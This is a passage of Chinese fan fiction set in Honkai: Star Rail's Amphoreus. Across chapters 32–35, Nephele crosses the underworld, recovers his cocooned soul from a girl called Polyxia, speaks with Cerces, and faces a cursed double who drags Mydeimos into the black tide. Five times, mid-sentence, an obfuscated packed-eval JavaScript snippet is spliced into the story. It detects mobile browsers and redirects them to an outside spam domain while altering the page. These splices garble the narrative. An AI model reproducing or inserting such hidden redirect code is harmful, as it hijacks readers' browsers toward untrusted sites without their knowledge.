剑士收回剑，冲涅斐勒点了点头。 涅斐勒早就准备好，如果出现任何不受控的状况，剑士便会在身边待命。只要超过五秒没有任何反应，那把剑的剑背就会毫不犹豫地拍上他的头。 当然，那会有点痛，但只有疼痛才能把他从虚幻的美梦中唤醒，想起来自己是谁。 这五秒钟，他一直死死地抓着迈德漠斯的手。他清楚，在自己被回忆缠绕的同时，对所有偷渡者一视同仁的冥河一定也给迈德漠斯送去了什么充满恶意的“礼物”。 恢复神智，涅斐勒缓缓松开那只手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15445042|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但那只手的主人——迈德漠斯却没有动静。 涅斐勒皱眉，“……不妙。” 河岸上飘来一道女声。 「迈德漠斯……迈德漠斯呵……」 被呼唤的孩子一动不动地望着船尾的河面，小船附近游荡的黑影似乎期待着某种事象，跟随着小船，在河流两岸越聚越多。 “别回头。”涅斐勒牢牢按住迈德漠斯的脑袋，看着船尾的河面上幽灵般漂浮的诡谲黑影，严正告诫道：“你不会想看到扮作你母亲呼唤你的东西是什么的！” 「迈德漠斯……我的孩子……荣耀的歌尔戈之子……让妈妈看看你的样子吧……」 那声音如泣如诉，混着几声悬锋城传唱的童谣，声音里藏着比雾气还浓的哀伤。 在那阵声音响起的时候，涅斐勒感觉到怀里传来了迈德漠斯的挣扎。 真让歌尔戈看到你这副被幻影勾走的样子，只会亲手上来把你打一顿。 这般想着，涅斐勒冷静地示意剑士向迈德漠斯不安分的脑袋上来一记下劈。迈德漠斯停止了挣扎，安静地朝前方倒去。 涅斐勒拍了拍迈德漠斯的后背。现在睡一会也没关系，反正马上就要到了。 黑影发出不甘心的尖啸，化作狂风向着涅斐勒的小船袭来，盼望能掀翻这艘摇摇欲坠的小船。河岸边，聚集的黑影渐渐变成了流淌粘稠的污泥的怪物，张开嘴紧跟着冥河上漂流的小船。 涅斐勒伏低身体，闭目塞听，只管维持身体平衡，装作看不到那些黑影。直到一切声音消失，直到诡谲的黑影和白雾消散，露出天际破碎的月亮。一座灰黑的海渚渐渐出现，海渚上开满了比源头的花海还要多、还要美丽的花。 嗤的一声，船体溅出一尾泡沫，乘着波浪停靠在渚边。 终于来到了这里。“我一会就回来。”涅斐勒对剑士说。 涅斐勒一把拽起船中放置的斗篷，抖开后披在肩上，跃至岸边。 涅斐勒又走了一段路，终于抵达了海渚的中心。但是，在冥河尽头等待使者的，却并非他的灵魂。 代替灵魂，代替渴求已久的真相和答案停泊在那轮残月下的，是一位坐在轮椅上双眸禁闭的少女。 32.茧 “……” 涅斐勒不敢说话，就好像害怕一开口便要面对什么恐怖的事。 轮椅上的少女双眸低垂，顿了顿，在花海里转向涅斐勒。 涅斐勒不知道她是如何准确找到自己的方位的。但既然已被发现，躲躲藏藏就没有意义了。 他走上前去。 “……你是我的灵魂？” 是啊，有这种可能。灵魂被放逐冥土后被水土塑造成少女模样也是可能的，这太正常不过了，一点不可怕，哈哈，哈。 少女微微抿唇，白皙的脸颊上，露出一个经过克制的微笑。 “呵呵，阁下真会开玩笑。”少女的声音甜美而轻柔，却带着一丝若有若无的孤独。 “我不是什么人的灵魂，我当然是我了。阁下可以称呼我为……” “「塞纳托斯」。” “……”涅斐勒闭了闭眼，掩去眼底的冷淡，“阁下的这个玩笑就没有那么好笑了。” “为什么觉得我是在开玩笑？”自称塞纳托斯的少女双目紧闭，但涅斐勒总是觉得她在打量自己，仿佛宝石匠用眼光检验石料的质地一般。 “是因为我这副人类的模样吗？还是因为我不像传闻中那样冷酷、危险、难以捉摸？” 少女的口吻很认真，涅斐勒也提起注意力，组织起语言回答她：“都不是。” “那是因为什么？”少女问。 “你身上没有属于泰坦的力量。” 涅斐勒说完，抬起烙印着天空泰坦刺青的那只手，此时那片被染黑的皮肤正微微发亮、发烫，干扰他的思绪。他便用另一只手按住手背。 “但艾格勒的赐福对你有反应，而你，看起来也不像那些没有理智的怪物。” 少女勾起嘴角，“嗯，没错。” “所以，你到底是谁？”涅斐勒问，“还有最重要的，我的灵魂到底在哪里？” “我就是塞纳托斯呀。” 少女的声音泛起一丝无奈，她低估了眼前的使者判断泰坦的严格程度，仅仅是言语和呼应泰坦赐福的能力还不够，这些是无法说服他的。何况，少女能看出，现在的使者已将他视作了藏匿灵魂的敌人。 “请不要再试图呼唤那位剑士了，这里毕竟是我的土地，只要我不想，拒绝一只使魔的进入还是可以做到的。”少女说，“何况，你还需要它留在河边保护那个孩子，对吧？” 涅斐勒的心脏重重一跳，他意识到眼前的少女没有看起来那么纤弱，强行扼制了心底泛滥的敌意。 “很抱歉，我说这些不是为了让你害怕，也不会真的伤到那个孩子。”看着涅斐勒终于愿意和她谈谈，少女松了口气，微笑着说：“但是，如果你实在不相信的话……嗯，不如叫我的另一个名字吧。玻吕茜亚，使者，你可以叫我玻吕茜亚。” 涅斐勒重复着少女报上的姓名，心中的怀疑消散了些许。 “玻吕茜亚……至少这听起来像是一个人类的名字。” 玻吕茜亚似乎喜欢涅斐勒将她视作「人类」，她的微笑不再那么孤单，似乎沉浸在美好的回忆里。但很快，她摇了摇头，让自己抬起头面对眼前的人类。 “人类……嗯，我也是人类。但是现在，这不重要。”玻吕茜亚说，“你要寻找你的灵魂，我能从河水中传来的回声里听到这份执念，它和它背后的意义支撑着你走到这里。所以，使者，我想请你帮我一个忙。” “恕我拒绝。”涅斐勒平静道，“我既不知道阁下的身份，也无法探明阁下的立场，甚至无法确定阁下到底是不是人类；无论你有怎样悲伤的理由，我也不能在这种情况下帮你，我得为自己拥有的东西负责。” “没关系，我就知道你会这样回答。” 少女的双手交叠在膝头，身下的轮椅自发转动，载着少女朝海渚深处行去。 “那么，请跟我来吧，使者。我带你去「见」你要找的灵魂。” “恭敬不如从命。”涅斐勒起身跟上。 玻吕茜亚所乘的轮椅在地面上碾出低沉的吱呀声，渐渐地，花香越来越浓，涅斐勒伸出手接住飞扬的无名之花，捻了捻，放在鼻尖嗅嗅。很奇怪，这里的花香并没有海渚外那样诡异和不详。难道说，是名为玻吕茜亚的少女吗？ “到了，”一段时间后，玻吕茜亚说，她停在了一个巨大的物体前，“它就在这儿，就在这里面。” “虫……茧？”涅斐勒呆呆地看着这和周围事物格格不入的东西。他发誓，等离开冥界，他不再会为任何奇观惊讶了。 仿若翁法罗斯最好的织匠用月光纺织的银线织成的宝物，那椭圆的茧形造物映衬着满天的花瓣与蝴蝶的幻影，静静地存在于那里。而涅斐勒清楚地感觉到一股呼唤——来吧，让我回归于你吧——那是他的灵魂一直在发出、指引他踏上旅途的呼唤。 那虫茧很美，但的确格格不入。而他身边和月光下的虫茧一样格格不入的，是身畔微笑的玻吕茜亚。 涅斐勒猜测道：“是你做的吗？” 玻吕茜亚承认了：“嗯，是我。为了不让你的灵魂漂进冥河、进入轮回，或者被黑潮的怪物吞噬殆尽，我把它留在了这里。” 那正是涅斐勒担心过的结果。如果他磨蹭太久，来得太晚，他的灵魂极有可能抵不过冥河的冲刷， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448431|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在翁法罗斯的永恒轮回里化作一只飞翔的白蛾。到那时，他将如雅努萨波利斯的祭司所期望的那样，失去那段时间的记忆以及必不可少的真相。 涅斐勒皱着眉感应了一下虫茧。那股气息，和玻吕茜亚十分有九分的相似。 的确是少女的造物。 但她为什么要帮我？ “它一直在呼唤你，希望你能将它带回人间，发挥它该有的作用。”想到那一幕，玻吕茜亚高兴地说，“前往冥界的路并不好走，使者，我很高兴你真的来了。” 随之，虫茧颤抖起来，在涅斐勒警惕的视线之中，孵化出一群毛茸茸的银蛾。 这群以扑火为人所知的渺小生命飞向四周的花海，停在淡紫的花瓣上，扑棱着柔软的虫翼。 玻吕茜亚提醒：“请不要伤害它们，它们中的每一只都是你和一个故人的回忆。” 涅斐勒点点头，“我不会的。” 使者和少女并肩而立，静静地看着破碎的银茧化作了闪光的碎屑，飞向月亮。 到了这时候，涅斐勒反倒不敢去接触那些回忆。他叹气，强迫自己凝神。 他看到很多。很多人来到他面前，他们有的在神殿中仰望他、有的在森林中抱着果篮微笑，他看到来自元老院的使者在佩拉斯的城中斥责他的叛逆，看到人们离他而去后变成空屋的佩拉斯城。他看到那场大雪，不过并非什么诅咒，而是他的老师在永远封闭神殿的大门前呼唤的「神迹」。 “我会留在这里。这里的黑潮需要有人封印。至于你，涅斐勒，如果你不想回来，就不回来吧。”索妮拉站在神殿的阶梯上俯视她的学生，眼中千言万语最终也只化作这样一段简单的话。 最后，黑潮吞没她的身影。 头部传来剧痛，咚……咚……涅斐勒捂住额头，黑暗里有沉重的脚步声迫近。 「涅斐勒。」 一片静谧中，是熟悉的声音称呼涅斐勒的名字。但他甚至不敢回头，害怕是无名的诅咒设下的另一个陷阱。 「抬起头来。」声音淡淡地命令，几乎剥离了多余情绪的语气是那么令人怀念。 涅斐勒想抬头，但被黑影裹挟昏沉的头脑无法根本正常地做出“抬头”这个动作。 一只手搭在他的肩膀上，随后，树庭款式的长袍在涅斐勒眼前出现，一位翠色长发的男子伸出手，以一个有些好笑的动作从脑袋两边“掰”起了涅斐勒的头。 这一刻，涅斐勒感觉到缠绕自己的黑色消散了，他的眼前只剩下学者眼中群林般苍翠的绿色。 “嗯，这就对了。”塞勒苏斯的口吻就像是在夸奖做对了题目的学生。 33.那我问你 记忆里的黑潮融化了，是眼前的学者驱散了方才的噩梦。 回过神来，使者拍开那只手，笑着抱怨道：“省省吧，塞勒苏斯，这不好玩。” “不好玩吗？”塞勒苏斯的动作机械卡顿般停止了一瞬，“嗯，那就不玩了。总之，再见到你我很开心，涅斐勒。” “见到？”看到学者鲜活的样子，涅斐勒不由得幻想道：“所以，你还活着吗？” 塞勒苏斯看向自己的手心，想了想，把那只手递给涅斐勒。 “多数无益，你自己来确认吧。”学者的表情淡然又坦诚。 涅斐勒深吸一口气，握住——没有握住那只手，而是直接从中穿了过去。涅斐勒看到塞勒苏斯的身体在那一瞬间虚化，身体表面泛起一层灰蓝光晕。这使他整个人看起来像是一片被白霜冻结的菩提树叶。 “奇怪。”涅斐勒看着自己的手，“明明刚刚还能——” 翁法罗斯入口处，看着涅斐勒宕机的样子，前神悟树庭贤者、现黑塔空间站「模拟宇宙」项目测试专员塞勒苏斯摇摇头。那身树庭学者的衣袍早被脱下，现在塞勒苏斯穿着的是黑塔空间站后勤保障处的员工为他定制的高档制服。至于现在的问题，有一个不得不讲的线索：在塞勒苏斯的视角下，被未知的力量凝滞，化作触不可及幻影的，反而是身处翁法罗斯之中的涅斐勒。 “想要让你明白我身上发生了什么，需要很多时间。对我来说，今天是休息日，但对你，恐怕没有那么多时间拿来听我讲故事。” 塞勒苏斯抬脚走向涅斐勒透明的虚影，短靴的鞋跟磕在地上，化作涅斐勒耳畔逼近的脚步声。 抬手轻触右耳佩戴的小型电子装置，笼罩在学者身上的光子薄膜在电流声中消失。 “再试试？”他这次说。 涅斐勒又试了一次。他碰到了那只手。 “这次成功了？” 看着好友脸上极少出现的，犹如被揪住后颈的猫一样呆愣的表情，塞勒苏斯承认自己在搜集模拟宇宙（内测版）BUG中缠成线团的心情变好了不少。 “在翁法罗斯，我已经死了，我的一切都消失在那天出现的黑潮里。” 涅斐勒陷入沉默。这是个糟糕到不能再糟糕的话题，就连一向冷静的塞勒苏斯都同样感到抗拒。但为了传递足够的信息，他还是忍着回想起那段感受的恶心继续说： “不过别担心，只是在翁法罗斯而已。” “只是在翁法罗斯？”有过探索天外经历的使者察觉了什么，“所以你现在是在——” “不要回答。我们现在是绕过了艾格勒的目光悄悄通话的「僭越者」。”塞勒苏斯及时打断涅斐勒的话。对塞勒苏斯来说，死亡之后的冥土并不是塞纳托斯的国度，而是眼前这片头顶无垠宇宙的空间。他不确定如果说出什么会不会给涅斐勒招致灾难。 但涅斐勒心里已经有答案了。 “没关系，不知道原因、不知道过程都无所谓，只要确定你还活着就是最好的消息。” 塞勒苏斯点点头，“都是托「你」的福。终有一天，我们会在宇宙之外再见。” “那天恐怕会很遥远。”说着，涅斐勒从再回的氛围中想起了最初的目的。“稍等，塞勒苏斯，我需要你的帮助。”他果断道。 他已经确定了当时那天的情况，从身体里涌出的黑潮已然将他的认知架在火刑架上用烈焰炙烤。 涅斐勒向塞勒苏斯快速地解释了一遍自己的计划与处境，学者出身的塞勒苏斯闭着眼思考了几秒，点点头，很快理解了一切。 “原来如此，你还有要处理的职责。”学者皱眉，“不过，我没想到，在我死后居然会有人把我的死归罪于你。” “是啊，很可笑吧，但我没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448432|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么办法，不是吗？”涅斐勒回答，“帮帮我，塞勒苏斯。” 他可以逃走，逃去塞勒苏斯现在所在的地方，但还有很多人留在翁法罗斯。 “我会帮你的。灵魂……记忆……将记忆作为影像重现，嗯。”塞勒苏斯思考了一会，抱起手臂，用确凿无疑的语气说：“我觉得，你需要这个。” 一条绿色小鱼游过涅斐勒的指缝。涅斐勒从小鱼身上感觉到塞勒苏斯的气息。 “死去之前，我分裂了自己的灵魂，在你的灵魂中，掺入了一小片我的灵魂。”塞勒苏斯说完，顿了顿，“虽然只是在探索中不小心留下的一片，但现在刚好能解决你的麻烦。比起你自己的记忆，用我这个「受害者」的记忆演示，更能让大家清楚真相。” 到时候，所有的佩拉斯人就都能堂堂正正地在翁法罗斯生活下去了。 涅斐勒看着那尾小鱼。这就是他寻求已久澄清罪名最有力的证据，但可能，也是塞勒苏斯在翁法罗斯最后的存在证明。 不，他在想什么？这不是犹豫的时候。 涅斐勒说：“谢谢，我会在合适的时候，好好使用它。” 塞勒苏斯张了张口，“……” 尽管涅斐勒从不开口，但凭借常识塞勒苏斯还是知道，他一定正身处卷起整个翁法罗斯的漩涡之中。抛去那些正式的话题，学者仍有许多话想与好友说。那些从他身上解明的疑惑，那些因「他」的帮助而遇见的人和事，把这些说给他听，一定能催生更多值得思考的命题。 “你应该很忙。” “是有一点吧，怎么了吗？”涅斐勒说。 “不，没什么。”塞勒苏斯摇头。 学者清楚自己的短处，就比如说，不擅长在这种氛围里与人交流。 “下次见。涅斐勒。”塞勒苏斯看着涅斐勒的灰蓝虚影在眼前消逝，“下次见。” 34.与灵魂等价之物 在涅斐勒的视界中发生的事，对于玻吕茜亚来说，只是使者唇齿间泄露的呢喃。当涅斐勒当着少女的面倒在花丛中时，远处河畔驻守的剑士也消失了。飞蛾不再贪恋花海的宁静，一只只落至使者倒下的身体，用扇动的虫翼从头到脚将他包裹起来。 玻吕茜亚看着涅斐勒倒下的位置。那被群虫偏爱的身体，渐渐有了一丝动静。倒下的使者撑着地面，咬紧牙关爬了起来，但他并未被死亡宽恕。涅斐勒死死攥着越来越冰冷的胸腔，里面跳动着一颗从刚才起就不断给他带来痛苦的心脏。什么都没有的胃袋蠕动着，使者捂紧了嘴，却还是阻止不了干呕倾斜而出。更可怕的，是他的身边开始凝聚起点滴漂浮的黑潮。 在这规则异于凡间的土地上，他终于得以用这种惨烈的方式看到那日景象的再现，看到究竟是什么，是「谁」拨乱了命运的时钟，给他的生命笼罩上死亡和误解的阴霾。 是「你」自己。塞勒苏斯的声音在耳边响起，那理智的学者将这绝对的「真相」告知于涅斐勒。谋杀我的，并非是你，但也可以是你；我早已理解你的存在形式，也弄清那黑潮中升起的人源自何方——那是你介入创世轮回的「代价」，是阴影中的你，尾随你潜伏于潮水，静待「死亡」到来之时。 涅斐勒大睁着眼睛，漆黑的眼泪从眼角里溢出，在双眼下方刻下数条泪痕。这才是此行的最后一场试炼，一场从复生起就伴随他的试炼。他咳嗽着，口腔里流出的黑潮将脚下的花朵浸透，霎时间，那些本已经处于死亡之地的花儿彻底被夺走了生命。 使者呵，你可曾记得，在命运中，你应死去三次；不知是谁的声音这样说。一次，是岁月将你从故国的城墙前带走；一次，是于旷野苏醒的你从天际坠落；一次，是渡入冥河，亡灵将你挽留。这是对你来说避无可避的宿命，若想违逆它，你需要为来自「宿命」的追兵献上与生命等价之物。唯有这样你才有资格继续在阳光照耀的凡间行走。 涅斐勒明白了，如少女传递的往事，杀死塞勒苏斯的并非是他，而是他带来的「诅咒」。那诅咒不会加害于他，却会在他本应死亡之时如期而至，从他身边带走一切能与生命抵价之物，换取他在命运一途上继续旅行的资格。 ……也就是说，如果他想要活着，回到人间，为族人带来清白，就必须在本应死亡的此刻，向死亡的命运献上与灵魂等价之物。 理解了这件事，涅斐勒的心中泛起苦涩的波澜。哈……也是啊，复苏怎么会毫无代价，得到这副年轻、健康的身体，怎么可能只是用「令使」的权能就一笔带过。 可是他能给予的是什么呢？此刻，他所能献上的最为珍贵之物只有…… 涅斐勒保持着匍匐在地的姿势，抬起头颅，朦胧的视线搜寻到少女的身影。 “玻吕茜亚，你刚才……唔。” 泛滥的黑泥阻塞了声音的发出，在那颤抖的声线后面，是使者拼尽全力的表述。 “……” 玻吕茜亚看着这一切。看着方才还在坦然微笑的人儿被黑泥包裹，倒在地上。她所憎恶的，正是这令人痛苦、绝望的死亡。 “请别着急，我在听，我就在这里。” 请不要焦急，那份焦急会让她……想起无数逝者的遗容。 “玻吕茜亚……你刚才、告诉我，希望我帮你一个忙。” 旧事重提，这转变也许略显仓促，但情急之下，涅斐勒也想不出更好的对策。 “是的。”玻吕茜亚复杂地看着他，她未曾想到那份寻求竟然会在这种时候被重新提起。少女不敢浪费时间，抓紧每一分，每一秒，她将那深埋心底的愿望告知使者： “使者，我想请你为我找到一位少女，一位能以双手，赐予众生死亡的少女。” 涅斐勒努力地辨认少女口中的语句，听完少女所说的每一句话，疲倦地点点头。 “我会的。” 涅斐勒说完，用最后的意志力调动身体。先是膝盖跪地，支撑上半身不至倒下，再抓着肩膀，借力将摇摇欲坠的身躯从地面上抬起。 “现在，我愿意帮你……但是，先请你将我现在的这一半灵魂织入茧中。” 玻吕茜亚惊讶道：“用炼金之法，我可以做到，但是为什么要这样？你不是要找回自己的灵魂吗？” “我无法与你解释太多， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449824|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果有幸再见，我会把答案一一告诉你。” 理智尚存，涅斐勒走到少女面前，将最重要的叮嘱托付给她。 “总之……不这样做……呃——！” 躯体深处仿佛有一组植物的根系在加速吸取剩余的理性。涅斐勒觉得感官的世界愈发干瘪，眼前的世界在慢慢失去色彩，那股淡雅的花香也渐渐离他远去——这是死亡的先兆，他必须快点做出选择。 “……不这样做，由我带来的黑潮可能会将冥界淹没，这是我扰乱生死宿命的代价。我必须……献上与灵魂等价之物。”涅斐勒只能把这件事与少女的利害关系简单阐明，“如果你真是死亡的泰坦，请你用相同的办法，把我……保留的这一半灵魂取走，没入我身边的黑潮。” 他知道，倘若成功，他将忘记在此期间经历的一切，变回那个在雅努萨波利斯醒来时迷茫的他。也许更糟，因为他甚至来不及消化过往记忆中的情感，他大概会变成……一个比现在更冷漠、更虚无的人。 但没关系，像那时一样，保留最关键的念头就足够了。 只要他带着这记忆回归凡间，就足以将佩拉斯人信仰罪人的指控驳回。就算代价是他唤来黑潮的体质将被公之于众，他将成为真正的「异类」，真正的……「被黑潮诅咒的孩子」。 “等价之物？灵魂？” 玻吕茜亚攒紧膝头的裙摆，少女紧张慌乱的样子唤起了涅斐勒的注意。 倾斜而出的黑潮淹没少女身下的轮椅，向着整个海渚的边缘肆无忌惮地蔓延。 “可是，对你来说，真正重要之物、你所「珍爱」之物，真的是这一半的灵魂吗？” 少女问。使者无法回答——可当他发现黑潮朝着来时小船停泊的岸边流去，他的心里如同被子弹穿透一般打入了一个不愿接受的答案。 “……不可能的。”涅斐勒喃喃道，但他心中分明清楚宿命的不可违抗。 第一次是他自己，上一世的涅斐勒被命运抹除；然后是塞勒苏斯，惊才绝艳的贤者被当做祭品带走；如今是第三次。 金发的孩子在醒来后便安静地坐在小船里，等待着涅斐勒归来。 35.世人谓其不死 笼罩海渚的迷雾中走出一道身影。 「涅斐勒」打着哈欠，“早上好……小朋友。”游魂般出现的男人揉去眼角的眼泪，勾起嘴角，冲河岸边的迈德漠斯招了招手。 “劳烦解答一下，现在是几几年？” 被「涅斐勒」呼唤的孩子一声不吭。这个有着熟悉面容的家伙，全身上下透露着无法忽视的诡异。 “我不认识你。”迈德漠斯说。 闻言，「涅斐勒」惊讶地摸了摸自己的脸，确定那触感和上次苏醒时一样后，他露出了被愚弄才会有的冷漠表情。 “你怎么可能不认识「我」，我明明都带着这张脸站在你面前了。” 「涅斐勒」走到岸边，迈德漠斯抓起船尾搁置的武器凝视着他，像一只警惕入侵者的幼狮。 “和我走吧，迈德漠斯。”涅斐勒向迈德漠斯邀请道，“我知道一个更好的地方，比冥界、甚至比整个翁法罗斯都更有意思。那里有轮转的昼夜，放眼望去无际无垠的星辰，还有无数想不到的文明。” “对于你这流着纷争之血的王子来说，那片待征服的宇宙比这地方更适合你，对吧？” “「你」说过，会带我回到凡间。”迈德漠斯低声说。 “所以你不走？为什么？”「涅斐勒」问道，“你不想去更有意思的地方生活吗？” 回答这种问题对于迈德漠斯来说有些困难，但他不必回答。 利剑出鞘，在「涅斐勒」的侧脸留下一道深深的血痕。 「涅斐勒」面无表情地摸上侧脸，温热的血液沾满了他的指尖。 他夸张地叹口气，仿佛是在叹惋身份的败露，叹惋麻烦总是自己找上门来。 “这次没昏死过去啊——怎么说，「你」也算有所长进嘛。” 剑士一手揽着涅斐勒的肩膀，一手停滞在半空，维持着抛出短剑的姿势。随后，剑士闪身，消失在原地，落脚于将搁浅黑潮的小船上，绕开逼近的死灵，将金发的孩子从船里带出。 涅斐勒喘了口气，皱着眉头说：“……不管你是什么东西，想怎么样，立刻给我滚。” “为什么？就因为我从这个虚假的星球带走了塞勒苏斯？”「涅斐勒」微笑着敲了敲脑袋，暗示涅斐勒的迂腐，“「凡人不可挑战天空的权威」，这只是天空泰坦信徒的自我约束。你不该拿这个约束一位自由的公民，尤其这孩子显然属于天空泰坦的敌人，天谴之矛尼卡多利。又或者，你打算让他和你一样被这些死灵分食？” 「涅斐勒」摊开手。他身后，黑潮为徘徊于海渚之外的死灵垫脚，那些求死不能的可悲生命低号着，前仆后继地涌上河岸。 “使者，和你说话的那个人，他的身上有一股阴冷的气息。”玻吕茜亚提醒。她的话落在「涅斐勒」耳中，换来“使者”微微一笑。 大概是「血」已流尽，黑潮不再从身体里涌出，麻木取代了疼痛。 这换来了喘息之机。涅斐勒试图谈判：“……总之，我已经知道你为什么会出现在这里。如果是要收取代价，你可以从我身上取走任何你想要的东西，但没必要选择别人。”涅斐勒的语气缓慢，时不时停顿，他在尽可能地与僵硬的唇齿抗争。 「涅斐勒」盘算了一番，忽然笑道：“如果你能把完整的自己给我，我或许会考虑。但你肯定不会同意吧？那么真不好意思，我拒绝。” 黑潮的流动在「涅斐勒」下定决心后开始加快。玻吕茜亚愣了一下，看着精心照料的花海干枯、萎缩、最后死去。 玻吕茜亚忍住哭泣的冲动，但这份悲愤仍使得整个海渚震颤起来。 “……阁下，实在是太没有礼貌了。”玻吕茜亚轻声说。 “不好意思，但这是必要的牺牲。”「涅斐勒」满不在乎地回答。 他动了动手指，黑潮改道，潮水上漂浮的死灵旋即像是受到了诱导一般向着少女和使者所在的位置爬去。 这画面有些精神污染。 涅斐勒咬咬牙，小声问：“玻吕茜亚，如果你真是死亡泰坦，能把这些死灵带走吗？” 这话似乎吓到了少女，涅斐勒眼看着玻吕茜亚的脸上浮现逃避与愧疚。 “带走？因为一些原因，我……无法将它们送进往生。” “我可以帮你。”「涅斐勒」隔着潮水对他喊，“只要把那孩子的灵魂给我就行了。” 简直油盐不进。涅斐勒被这和自己长着一张脸的家伙气到，怒笑道：“做梦去吧。” 迈德漠斯在剑士的保护下默默听着这双方都不肯妥协的争执，若有所思地低下头，伸手抓住了涅斐勒的衣袍。 “涅斐勒。”他说，“听起来没什么大不了的。你不能死，所以，让我去吧。” “只有这个不行。你——” “你听到了？”「涅斐勒」打断了将要开口说话的「自己」，“他已经「同意」了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452718|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 漆黑的人影在潮水中游动，飞速贴近了迈德漠斯。一双双枯槁的手从水底升起，指尖滴落着黑色的污泥，将闭上眼睛准备好接受命运的孩子向深渊拽落。 涅斐勒伸手去拉——手指浸入黑潮的瞬间，细密的黑色裂纹开始在他的体表蔓延。剑士眼疾手快地将他带走，彼时，已有将近半条手臂在黑潮中失去了形体。如果继续深入，等待着他的就是尸骨无存。 在这一刻，涅斐勒犹豫了。但就在几分钟后，他会后悔自己的这种犹豫。 「涅斐勒」美滋滋地等着新的灵魂进入口袋，但迟迟等不到该有的结果。 某种肉身撕毁发出的蚊蝇细响在这片空间浮现，鲜血源源不断地冒出，染红了潮水的表面。 “……等等。这个是——” 「涅斐勒」反应过来，质问「自己」：“你刚才为什么不拦着我？为什么不告诉我这孩子有不死的祝福？” 涅斐勒不说话。他承认，就在刚才有那么一秒，他觉得让「自己」像带走塞勒苏斯那样带走迈德漠斯也没什么不好。只不过是在翁法罗斯经历一次死亡，抛弃此世的羁绊和使命，就能彻底摆脱悲剧的宿命。也许对迈德漠斯来说，这正是最好的选择。 “……总之，我告诉你，我只能控制它，让它出现，却没办法让它消失。”「涅斐勒」叹了口气说，“如果不想让那孩子半死不活地困在黑潮里一辈子，就赶紧想想办法。” “闭嘴，你这没有人性的怪物，这话轮不到你来说。”涅斐勒冷声道，脱下斗篷。 “是，我承认这是个意外，对不起——等等，你要干什么？”「涅斐勒」收起笑意，看着一脚跨入黑潮的「自己」。 涅斐勒深呼吸，无视熟悉的灼痛感，答道：“和你无关，从哪来回哪去。” 「涅斐勒」一时说不出反驳的话，他沉默了一会，“不收取代价，这些黑潮是不会停下的。如果你要这么做，会被视作自愿成为替代品。” 然而，涅斐勒没有再理会他，没有回应他任何事，哪怕只是一句话。 「涅斐勒」自知已无法阻止他，正如涅斐勒没能阻止「自己」一样。 “……白痴。”「涅斐勒」眯起眼，被诅咒侵蚀的心跳动的频率竟也出现了异样。 人类总是喜欢做无用功，真不知道他们到底在想什么。「涅斐勒」在一片狼藉的花海中沉默地站了一会，身躯融作潮水，汇入黑潮中。